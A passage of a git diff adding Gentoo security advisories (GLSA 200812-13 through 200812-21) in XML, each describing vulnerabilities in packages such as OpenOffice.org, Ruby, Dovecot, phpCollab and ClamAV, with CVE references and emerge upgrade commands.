+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 21 Oct 2008 20:17:52 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 11 Dec 2008 20:14:32 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200812-13.xml b/xml/htdocs/security/en/glsa/glsa-200812-13.xml
new file mode 100644
index 00000000..5de43c50
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200812-13.xml
@@ -0,0 +1,85 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200812-13">
+  <title>OpenOffice.org: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in OpenOffice.org might allow for user-assisted
+    execution of arbitrary code or symlink attacks.
+  </synopsis>
+  <product type="ebuild">openoffice openoffice-bin</product>
+  <announced>December 12, 2008</announced>
+  <revised>December 12, 2008: 01</revised>
+  <bug>235824</bug>
+  <bug>244995</bug>
+  <access>local, remote</access>
+  <affected>
+    <package name="app-office/openoffice" auto="yes" arch="*">
+      <unaffected range="ge">3.0.0</unaffected>
+      <vulnerable range="lt">3.0.0</vulnerable>
+    </package>
+    <package name="app-office/openoffice-bin" auto="yes" arch="*">
+      <unaffected range="ge">3.0.0</unaffected>
+      <vulnerable range="lt">3.0.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    OpenOffice.org is an open source office productivity suite, including
+    word processing, spreadsheet, presentation, drawing, data charting,
+    formula editing, and file conversion facilities.
+    </p>
+  </background>
+  <description>
+    <p>
+    Two heap-based buffer overflows when processing WMF files
+    (CVE-2008-2237) and EMF files (CVE-2008-2238) were discovered. Dmitry
+    E. Oboukhov also reported an insecure temporary file usage within the
+    senddoc script (CVE-2008-4937).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted
+    document, resulting in the remote execution of arbitrary code. A local
+    attacker could perform symlink attacks to overwrite arbitrary files on
+    the system. Both cases happen with the privileges of the user running
+    the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All OpenOffice.org users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-office/openoffice-3.0.0&quot;</code>
+    <p>
+    All OpenOffice.org binary users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-office/openoffice-bin-3.0.0&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2237">CVE-2008-2237</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2238">CVE-2008-2238</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4937">CVE-2008-4937</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 08 Nov 2008 09:50:25 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 08 Nov 2008 09:56:21 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 11 Dec 2008 19:46:56 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200812-14.xml b/xml/htdocs/security/en/glsa/glsa-200812-14.xml
new file mode 100644
index 00000000..ea92aa68
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200812-14.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200812-14">
+  <title>aview: Insecure temporary file usage</title>
+  <synopsis>
+    An insecure temporary file usage has been reported in aview, leading to
+    symlink attacks.
+  </synopsis>
+  <product type="ebuild">aview</product>
+  <announced>December 14, 2008</announced>
+  <revised>December 14, 2008: 01</revised>
+  <bug>235808</bug>
+  <access>local</access>
+  <affected>
+    <package name="media-gfx/aview" auto="yes" arch="*">
+      <unaffected range="ge">1.3.0_rc1-r1</unaffected>
+      <vulnerable range="lt">1.3.0_rc1-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    aview is an ASCII image viewer and animation player.
+    </p>
+  </background>
+  <description>
+    <p>
+    Dmitry E. Oboukhov reported that aview uses the "/tmp/aview$$.pgm" file
+    in an insecure manner when processing files.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could perform symlink attacks to overwrite arbitrary
+    files on the system with the privileges of the user running the
+    application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All aview users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-gfx/aview-1.3.0_rc1-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4935">CVE-2008-4935</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 22 Sep 2008 12:39:57 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 21 Oct 2008 20:48:01 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 11 Dec 2008 20:00:09 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200812-15.xml b/xml/htdocs/security/en/glsa/glsa-200812-15.xml
new file mode 100644
index 00000000..b1239c9c
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200812-15.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200812-15">
+  <title>POV-Ray: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    POV-Ray includes a version of libpng that might allow for the execution of
+    arbitrary code when reading a specially crafted PNG file
+  </synopsis>
+  <product type="ebuild">povray</product>
+  <announced>December 14, 2008</announced>
+  <revised>December 14, 2008: 01</revised>
+  <bug>153538</bug>
+  <access>local</access>
+  <affected>
+    <package name="media-gfx/povray" auto="yes" arch="*">
+      <unaffected range="ge">3.6.1-r4</unaffected>
+      <vulnerable range="lt">3.6.1-r4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    POV-Ray is a well known open-source ray tracer.
+    </p>
+  </background>
+  <description>
+    <p>
+    POV-Ray uses a statically linked copy of libpng to view and output PNG
+    files. The version shipped with POV-Ray is vulnerable to CVE-2008-3964,
+    CVE-2008-1382, CVE-2006-3334, CVE-2006-0481, CVE-2004-0768. A bug in
+    POV-Ray's build system caused it to load the old version when your
+    installed copy of libpng was >=media-libs/libpng-1.2.10.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to load a specially crafted PNG file as
+    a texture, resulting in the execution of arbitrary code with the
+    permissions of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All POV-Ray users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-gfx/povray-3.6.1-r4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0768">CVE-2004-0768</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0481">CVE-2006-0481</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3334">CVE-2006-3334</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1382">CVE-2008-1382</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3964">CVE-2008-3964</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 04 Dec 2008 23:06:51 +0000">
+    mabi
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 06 Dec 2008 15:52:40 +0000">
+    mabi
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 11 Dec 2008 20:06:51 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200812-16.xml b/xml/htdocs/security/en/glsa/glsa-200812-16.xml
new file mode 100644
index 00000000..36f381b5
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200812-16.xml
@@ -0,0 +1,83 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200812-16">
+  <title>Dovecot: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities were found in the Dovecot mailserver.
+  </synopsis>
+  <product type="ebuild">dovecot</product>
+  <announced>December 14, 2008</announced>
+  <revised>December 14, 2008: 01</revised>
+  <bug>240409</bug>
+  <bug>244962</bug>
+  <bug>245316</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-mail/dovecot" auto="yes" arch="*">
+      <unaffected range="ge">1.1.7-r1</unaffected>
+      <vulnerable range="lt">1.1.7-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Dovecot is an IMAP and POP3 server written with security primarily in
+    mind.
+    </p>
+  </background>
+  <description>
+    <p>
+    Several vulnerabilities were found in Dovecot:
+    </p>
+    <ul>
+    <li>The "k"
+    right in the acl_plugin does not work as expected (CVE-2008-4577,
+    CVE-2008-4578)</li>
+    <li>The dovecot.conf is world-readable, providing
+    improper protection for the ssl_key_password setting
+    (CVE-2008-4870)</li>
+    <li>A permanent Denial of Service with broken mail
+    headers is possible (CVE-2008-4907)</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    These vulnerabilities might allow a remote attacker to cause a Denial
+    of Service, to circumvent security restrictions or allow local
+    attackers to disclose the passphrase of the SSL private key.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Dovecot users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-mail/dovecot-1.1.7-r1&quot;</code>
+    <p>
+    Users should be aware that dovecot.conf will still be world-readable
+    after the update. If employing ssl_key_password, it should not be used
+    in dovecot.conf but in a separate file which should be included with
+    "include_try".
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4577">CVE-2008-4577</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4578">CVE-2008-4578</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4870">CVE-2008-4870</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4907">CVE-2008-4907</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sat, 29 Nov 2008 10:07:16 +0000">
+    craig
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 06 Dec 2008 18:05:53 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200812-17.xml b/xml/htdocs/security/en/glsa/glsa-200812-17.xml
new file mode 100644
index 00000000..d7c769ce
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200812-17.xml
@@ -0,0 +1,122 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200812-17">
+  <title>Ruby: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in Ruby that allow for
+    attacks including arbitrary code execution and Denial of Service.
+  </synopsis>
+  <product type="ebuild">ruby</product>
+  <announced>December 16, 2008</announced>
+  <revised>December 16, 2008: 01</revised>
+  <bug>225465</bug>
+  <bug>236060</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-lang/ruby" auto="yes" arch="*">
+      <unaffected range="ge">1.8.6_p287-r1</unaffected>
+      <vulnerable range="lt">1.8.6_p287-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Ruby is an interpreted object-oriented programming language. The
+    elaborate standard library includes an HTTP server ("WEBRick") and a
+    class for XML parsing ("REXML").
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been discovered in the Ruby interpreter
+    and its standard libraries. Drew Yao of Apple Product Security
+    discovered the following flaws:
+    </p>
+    <ul>
+    <li>Arbitrary code execution
+    or Denial of Service (memory corruption) in the rb_str_buf_append()
+    function (CVE-2008-2662).</li>
+    <li>Arbitrary code execution or Denial
+    of Service (memory corruption) in the rb_ary_stor() function
+    (CVE-2008-2663).</li>
+    <li>Memory corruption via alloca in the
+    rb_str_format() function (CVE-2008-2664).</li>
+    <li>Memory corruption
+    ("REALLOC_N") in the rb_ary_splice() and rb_ary_replace() functions
+    (CVE-2008-2725).</li>
+    <li>Memory corruption ("beg + rlen") in the
+    rb_ary_splice() and rb_ary_replace() functions (CVE-2008-2726).</li>
+    </ul> <p>
+    Furthermore, several other vulnerabilities have been reported:
+    </p>
+    <ul>
+    <li>Tanaka Akira reported an issue with resolv.rb that enables
+    attackers to spoof DNS responses (CVE-2008-1447).</li>
+    <li>Akira Tagoh
+    of RedHat discovered a Denial of Service (crash) issue in the
+    rb_ary_fill() function in array.c (CVE-2008-2376).</li>
+    <li>Several
+    safe level bypass vulnerabilities were discovered and reported by Keita
+    Yamaguchi (CVE-2008-3655).</li>
+    <li>Christian Neukirchen is credited
+    for discovering a Denial of Service (CPU consumption) attack in the
+    WEBRick HTTP server (CVE-2008-3656).</li>
+    <li>A fault in the dl module
+    allowed the circumvention of taintness checks which could possibly lead
+    to insecure code execution was reported by "sheepman"
+    (CVE-2008-3657).</li>
+    <li>Tanaka Akira again found a DNS spoofing
+    vulnerability caused by the resolv.rb implementation using poor
+    randomness (CVE-2008-3905).</li>
+    <li>Luka Treiber and Mitja Kolsek
+    (ACROS Security) disclosed a Denial of Service (CPU consumption)
+    vulnerability in the REXML module when dealing with recursive entity
+    expansion (CVE-2008-3790).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    These vulnerabilities allow remote attackers to execute arbitrary code,
+    spoof DNS responses, bypass Ruby's built-in security and taintness
+    checks, and cause a Denial of Service via crash or CPU exhaustion.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Ruby users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-lang/ruby-1.8.6_p287-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1447">CVE-2008-1447</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2376">CVE-2008-2376</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2662">CVE-2008-2662</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2663">CVE-2008-2663</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2664">CVE-2008-2664</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2725">CVE-2008-2725</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2726">CVE-2008-2726</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3655">CVE-2008-3655</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3656">CVE-2008-3656</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3657">CVE-2008-3657</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3790">CVE-2008-3790</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3905">CVE-2008-3905</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 21 Sep 2008 11:43:41 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 10 Nov 2008 18:52:14 +0000">
+    hoffie
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 27 Nov 2008 16:38:46 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200812-18.xml b/xml/htdocs/security/en/glsa/glsa-200812-18.xml
new file mode 100644
index 00000000..f8a50316
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200812-18.xml
@@ -0,0 +1,80 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200812-18">
+  <title>JasPer: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    Multiple memory management errors in JasPer might lead to execution of
+    arbitrary code via jpeg2k files.
+  </synopsis>
+  <product type="ebuild">jasper</product>
+  <announced>December 16, 2008</announced>
+  <revised>December 16, 2008: 01</revised>
+  <bug>222819</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/jasper" auto="yes" arch="*">
+      <unaffected range="ge">1.900.1-r3</unaffected>
+      <vulnerable range="lt">1.900.1-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The JasPer Project is an open-source initiative to provide a free
+    software-based reference implementation of the codec specified in the
+    JPEG-2000 Part-1 (jpeg2k) standard.
+    </p>
+  </background>
+  <description>
+    <p>
+    Marc Espie and Christian Weisgerber have discovered multiple
+    vulnerabilities in JasPer:
+    </p>
+    <ul>
+    <li>
+    Multiple integer overflows might allow for insufficient memory
+    allocation, leading to heap-based buffer overflows (CVE-2008-3520).
+    </li>
+    <li>
+    The jas_stream_printf() function in libjasper/base/jas_stream.c uses
+    vsprintf() to write user-provided data to a static to a buffer, leading
+    to an overflow (CVE-2008-3522).
+    </li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    Remote attackers could entice a user or automated system to process
+    specially crafted jpeg2k files with an application using JasPer,
+    possibly leading to the execution of arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All JasPer users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/jasper-1.900.1-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3520">CVE-2008-3520</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3522">CVE-2008-3522</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 13 Oct 2008 18:51:07 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 21 Oct 2008 20:38:03 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 15 Dec 2008 14:20:28 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200812-19.xml b/xml/htdocs/security/en/glsa/glsa-200812-19.xml
new file mode 100644
index 00000000..c01543ac
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200812-19.xml
@@ -0,0 +1,75 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200812-19">
+  <title>PowerDNS: Multiple vulnerabilities</title>
+  <synopsis>
+    Two vulnerabilities have been discovered in PowerDNS, possibly leading to a
+    Denial of Service and easing cache poisoning attacks.
+  </synopsis>
+  <product type="ebuild">pdns</product>
+  <announced>December 19, 2008</announced>
+  <revised>December 19, 2008: 01</revised>
+  <bug>234032</bug>
+  <bug>247079</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-dns/pdns" auto="yes" arch="*">
+      <unaffected range="ge">2.9.21.2</unaffected>
+      <vulnerable range="lt">2.9.21.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The PowerDNS Nameserver is an authoritative-only nameserver which uses
+    a flexible backend architecture.
+    </p>
+  </background>
+  <description>
+    <p>
+    Daniel Drown reported an error when receiving a HINFO CH query
+    (CVE-2008-5277). Brian J. Dowling of Simplicity Communications
+    discovered a previously unknown security implication of the PowerDNS
+    behavior to not respond to certain queries it considers malformed
+    (CVE-2008-3337).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could send specially crafted queries to cause a
+    Denial of Service. The second vulnerability in itself does not pose a
+    security risk to PowerDNS Nameserver. However, not answering a query
+    for an invalid DNS record within a valid domain allows for a larger
+    spoofing window on third-party nameservers for domains being hosted by
+    PowerDNS Nameserver itself.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PowerDNS users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-dns/pdns-2.9.21.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3337">CVE-2008-3337</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5277">CVE-2008-5277</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 06 Sep 2008 21:05:59 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 06 Sep 2008 21:06:12 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 10 Sep 2008 17:38:51 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200812-20.xml b/xml/htdocs/security/en/glsa/glsa-200812-20.xml
new file mode 100644
index 00000000..7e174a8f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200812-20.xml
@@ -0,0 +1,88 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200812-20">
+  <title>phpCollab: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in phpCollab allowing for
+    remote injection of shell commands, PHP code and SQL statements.
+  </synopsis>
+  <product type="ebuild">phpcollab</product>
+  <announced>December 21, 2008</announced>
+  <revised>December 21, 2008: 01</revised>
+  <bug>235052</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/phpcollab" auto="yes" arch="*">
+      <vulnerable range="le">2.5_rc3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    phpCollab is a web-enabled groupware and project management software
+    written in PHP. It uses SQL-based database backends.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been found in phpCollab:
+    </p>
+    <ul>
+    <li>rgod reported that data sent to general/sendpassword.php via the
+    loginForm parameter is not properly sanitized before being used in an
+    SQL statement (CVE-2006-1495).</li>
+    <li>Christian Hoffmann of Gentoo
+    Security discovered multiple vulnerabilites where input is
+    insufficiently sanitized before being used in an SQL statement, for
+    instance in general/login.php via the loginForm parameter.
+    (CVE-2008-4303).</li>
+    <li>Christian Hoffmann also found out that the
+    variable $SSL_CLIENT_CERT in general/login.php is not properly
+    sanitized before being used in a shell command. (CVE-2008-4304).</li>
+    <li>User-supplied data to installation/setup.php is not checked before
+    being written to include/settings.php which is executed later. This
+    issue was reported by Christian Hoffmann as well (CVE-2008-4305).</li>
+    </ul>
+  </description>
+  <impact type="high">
+    <p>
+    These vulnerabilities enable remote attackers to execute arbitrary SQL
+    statements and PHP code. NOTE: Some of the SQL injection
+    vulnerabilities require the php.ini option "magic_quotes_gpc" to be
+    disabled. Furthermore, an attacker might be able to execute arbitrary
+    shell commands if "register_globals" is enabled, "magic_quotes_gpc" is
+    disabled, the PHP OpenSSL extension is not installed or loaded and the
+    file "installation/setup.php" has not been deleted after installation.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    phpCollab has been removed from the Portage tree. We recommend that
+    users unmerge phpCollab:
+    </p>
+    <code>
+    # emerge --unmerge &quot;www-apps/phpcollab&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1495">CVE-2006-1495</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4303">CVE-2008-4303</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4304">CVE-2008-4304</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4305">CVE-2008-4305</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 19 Oct 2008 20:05:40 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 07 Dec 2008 13:16:45 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 10 Dec 2008 16:51:12 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200812-21.xml b/xml/htdocs/security/en/glsa/glsa-200812-21.xml
new file mode 100644
index 00000000..1506ce51
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200812-21.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200812-21">
+  <title>ClamAV: Multiple vulnerabilities</title>
+  <synopsis>
+    Two vulnerabilities in ClamAV may allow for the remote execution of
+    arbitrary code or a Denial of Service.
+  </synopsis>
+  <product type="ebuild">clamav</product>
+  <announced>December 23, 2008</announced>
+  <revised>December 23, 2008: 01</revised>
+  <bug>245450</bug>
+  <bug>249833</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-antivirus/clamav" auto="yes" arch="*">
+      <unaffected range="ge">0.94.2</unaffected>
+      <vulnerable range="lt">0.94.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Clam AntiVirus is a free anti-virus toolkit for UNIX, designed
+    especially for e-mail scanning on mail gateways.
+    </p>
+  </background>
+  <description>
+    <p>
+    Moritz Jodeit reported an off-by-one error within the
+    get_unicode_name() function in libclamav/vba_extract.c when processing
+    VBA project files (CVE-2008-5050). Ilja van Sprundel reported an
+    infinite recursion error within the cli_check_jpeg_exploit() function
+    in libclamav/special.c when processing JPEG files (CVE-2008-5314).
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could send a specially crafted VBA or JPEG file to
+    the clamd daemon, possibly resulting in the remote execution of
+    arbitrary code with the privileges of the user running the application
+    or a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ClamAV users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-antivirus/clamav-0.94.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5050">CVE-2008-5050</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5314">CVE-2008-5314</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 09 Dec 2008 22:40:43 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 21 Dec 2008 18:51:07 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 21 Dec 2008 18:56:43 +0000">
+    p-y
+  </metadata>
